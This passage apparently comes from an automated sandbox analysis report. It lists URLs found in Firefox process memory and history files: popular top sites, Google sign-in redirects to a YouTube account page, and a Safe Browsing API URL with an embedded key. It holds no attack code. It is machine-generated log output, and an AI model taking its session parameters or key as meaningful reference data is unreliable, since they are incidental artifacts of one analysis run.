data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB51B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2536648453.0000020BC832A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: elease\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_O equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: handlerSvc fillHandlerInfo: don't know this typehttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sextractScheme/fixupChangedProtocol<https://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/local-handler-app;1http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sSelected crashed browser is not remote. equals www.yahoo.com (Yahoo)
Source: firefox.exe, 0000001C.00000002.2772231477.000001F401E7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AdF4I75Ohucts42xh2D58xcZPEZA3lazskj-CR4hUOGo3BNKvW_z5CkM9nA2-Dralbmz-v42E-PqUg equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I74VKA-ivb-AY1alVTwsmv5aNPJBeaZtVn0hE863zSr_7RxEkhBk7EGyNhrI56l47XDPMyO4cg equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I74VKA-ivb-AY1alVTwsmv5aNPJBeaZtVn0hE863zSr_7RxEkhBk7EGyNhrI56l47XDPMyO4cgYouTube equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I74VKA-ivb-AY1alVTwsmv5aNPJBeaZtVn0hE863zSr_7RxEkhBk7EGyNhrI56l47XDPMyO4cgYouTube/\| equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I7510BSkBeyKhqR-8iRvWqQ2dnH7aEXngx5X37NuQ1eiiQJaSHvD2zbwNZemgHdE-t4Sv4gGyg equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I7510BSkBeyKhqR-8iRvWqQ2dnH7aEXngx5X37NuQ1eiiQJaSHvD2zbwNZemgHdE-t4Sv4gGygYouTube equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=AdF4I7510BSkBeyKhqR-8iRvWqQ2dnH7aEXngx5X37NuQ1eiiQJaSHvD2zbwNZemgHdE-t4Sv4gGygYouTube/\| equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GBYouTube equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0 equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0YouTube equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0YouTube/\| equals www.youtube.com (Youtube)
Source: WebAssistDatabase.31.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0YouTubeshare video friend family worldf equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I76bhaA_aVty0iMsNWpSFD_kqdmV32oHOGHqV7-nl1HJIHGO7E4i_rwNArhc2F8my2kH4-eCsg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-552832755%3A1721977076390066&ddm=0 equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I76bhaA_aVty0iMsNWpSFD_kqdmV32oHOGHqV7-nl1HJIHGO7E4i_rwNArhc2F8my2kH4-eCsg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-552832755%3A1721977076390066&ddm=0YouTube equals www.youtube.com (Youtube)
Source: WebAssistDatabase.31.dr	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I76bhaA_aVty0iMsNWpSFD_kqdmV32oHOGHqV7-nl1HJIHGO7E4i_rwNArhc2F8my2kH4-eCsg&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-552832755%3A1721977076390066&ddm=0YouTubeshare video friend family worldf equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB51B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB5AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2430591232.000001F401A6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760099219.000001F401203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760099219.000001F401203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760099219.000001F401203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2772231477.000001F401E67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2526847730.000000A33F1D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account/ equals www.youtube.com (Youtube)
Source: History.31.dr	String found in binary or memory: https://www.youtube.com/accountYouTube equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountapp.update.lastUpdateTime.%ID% equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounthttps://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2430591232.000001F401A6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.commenu-bookmarks-mobile equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comom equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https:www.youtube.com:443:.:^partitionKey=%28https%2Cyoutube.com%29:3 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFA74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https:www.youtube.com:443:www.youtube.com:443::n:1724573628:h3:y:1721981601:n:^partitionKey=%28https%2Cyoutube.com%29:\|n:y: equals www.youtube.com (Youtube)
Source: WebAssistDatabase.31.dr	String found in binary or memory: ihttps://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en-GB&ifkv=AdF4I74Bc0A4eS5IRRY217CgWmJMiUeLZFCNj3xJUxAZb1TEDAEb59tq_j-opR0UcxkOBfhynly36Q&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S907487432%3A1721977063310013&ddm=0YouTubeshare video friend family worldf equals www.youtube.com (Youtube)
